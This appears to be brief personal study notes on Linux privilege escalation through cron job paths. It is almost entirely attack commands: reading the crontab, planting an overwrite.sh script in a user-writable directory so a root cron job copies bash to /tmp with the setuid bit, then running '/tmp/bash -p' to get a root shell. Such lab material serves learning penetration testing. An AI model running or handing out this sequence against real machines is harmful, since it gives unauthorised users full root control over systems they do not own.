Cron Paths

cat /etc/crontabs

* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh

ls -la the ones happening every minute (overwrite.sh):

ls -la /home/user

It doesn’t exist. Can we create one so we can priv esc with it?

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh

chmod +x /home/user/overwrite.sh

Wait for tmp/bash to be overwritten

ls -la /tmp

once it does:

/tmp/bash -p